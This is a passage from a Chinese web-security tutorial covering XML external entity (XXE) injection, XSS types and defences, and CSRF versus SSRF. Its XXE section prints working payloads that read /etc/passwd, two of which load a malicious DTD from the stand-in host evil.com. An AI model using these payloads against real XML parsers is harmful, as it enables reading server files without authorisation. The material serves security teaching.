<!--內(nèi)部聲明DTD--> <!DOCTYPE 根元素 [元素聲明]> <!--引用外部DTD--> <!DOCTYPE 根元素 SYSTEM “文件名”> <!--或者--> <!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”> <!--DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內(nèi)部聲明或外部引用。--> <!--內(nèi)部聲明實體--> <!ENTITY 實體名稱 “實體的值"> <!--引用外部實體--> <!ENTITY 實體名稱 SYSTEM “URI"> <!--或者--> <!ENTITY 實體名稱 PUBLIC “public_ID" “URI">

惡意引入外部實體的三種方式

一、本地引入

XML內(nèi)容:

<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE x[     <!ENTITY wintrysec SYSTEM "file:///etc/passwd"> ]><!--文檔類型定義--> <test>&wintrysec;</test><!--文檔元素-->

一個實體由三部分構(gòu)成: 一個和號 (&), 一個實體名稱, 以及一個分號 (😉

二、遠程引入

XML內(nèi)容:

<?xml version="1.0" ?> <!--XML聲明-->
<!DOCTYPE x[
    <!ENTITY %d SYSTEM "http://evil.com/evil.dtd">
    %d;
]><!--文檔類型定義-->
<test>&wintrysec;</test><!--文檔元素-->

DTD文件(evil.dtd)內(nèi)容:

<!ENTITY wintrysec SYSTEM “file:///etc/passwd">

三、遠程引入2

<?xml version="1.0" ?>
<!DOCTYPE x SYSTEM "http://evil.com/evil.dtd">
<test>&wintrysec;</test>

九、xss 漏洞

漏洞原理:

在有搜索框或者其他可輸入的表單內(nèi)進行輸入一些亂碼如若回顯了這一串亂碼則判定可能有xss然后將惡意js包含進去在進行嘗試判斷是何種類型。(js代碼可控)

防御:輸入過濾、輸出轉(zhuǎn)義,最常見的是將<>、“、‘、&、/實體化轉(zhuǎn)移,或者白名單黑名單,過濾標簽,過濾事件。

xss 分類:(三類)

  • 反射型XSS:<非持久化> 攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務器中沒有這樣的頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。

  • 存儲型XSS:<持久化> 代碼是存儲在服務器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,每當有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行,這種XSS非常危險,容易造成蠕蟲,大量盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲型XSS內(nèi))。

  • DOM型XSS:基于文檔對象模型Document Objeet Model,DOM)的一種漏洞。DOM是一個與平臺、編程語言無關(guān)的接口,它允許程序或腳本動態(tài)地訪問和更新文檔內(nèi)容、結(jié)構(gòu)和樣式,處理后的結(jié)果能夠成為顯示頁面的一部分。DOM中有很多對象,其中一些是用戶可以操縱的,如uRI ,location,refelTer等。客戶端的腳本程序可以通過DOM動態(tài)地檢查和修改頁面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴格確認,就會產(chǎn)生DOM XSS漏洞。

參考鏈接:https://www.jianshu.com/p/4fcb4b411a66
 

十、CSRF & SSRF 

CSRF:

csrf是跨站請求偽造,是借用用戶的權(quán)限完成攻擊,服務器端沒有對用戶提交的數(shù)據(jù)過濾,導致攻擊者可以利用用戶的Cookie信息偽造用戶請求發(fā)送至服務器。攻擊方拿到用戶的權(quán)限來進行盜取登錄信息賬號或者購買,csrf攻擊需滿足三個條件,1、用戶登錄了站點被記錄了cookie,2、用戶在還沒有離開站點之前就是cookie還生效的情況下攻擊者給用戶提供了惡意站點,3、用戶所登錄站點沒有防御而且訪問了攻擊者提供的站點。

防御:對賬密信息加token,或者驗證碼,修改密碼時候要舊密碼等等不可以直接允許修改。

    SSRF:

      由于服務端提供了從其他服務器應用獲取數(shù)據(jù)的功能(例如分享等功能)且沒有對目標地址做       過濾與限制,給予了攻擊者乘虛而入的機會。比如從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指        定地址的圖片,下載等等。SSRF是利用存在缺陷的web應用作為代理攻擊遠程和本地的服務       器。服務器對用戶給的可控URL,沒有檢測,導致攻擊者可以以這為突破口攻擊內(nèi)網(wǎng)或其他服        務器。可以用來探測端口,可配合gopher讀寫文件。

總的來說,CSRF是服務器端沒有對用戶提交的數(shù)據(jù)進行嚴格的把控,導致攻擊者可以利用用戶的Cookie信息偽造用戶請求發(fā)送至服務器。而SSRF是服務器對用戶提供的可控URL地址過于信任,沒有經(jīng)過嚴格檢測,導致攻擊者可以以此為跳板攻擊內(nèi)網(wǎng)或其他服務器。


該文章在 2024/2/29 22:57:02 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運作、調(diào)度、堆場、車隊、財務費用、相關(guān)報表等業(yè)務管理,結(jié)合碼頭的業(yè)務特點,圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術(shù)的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved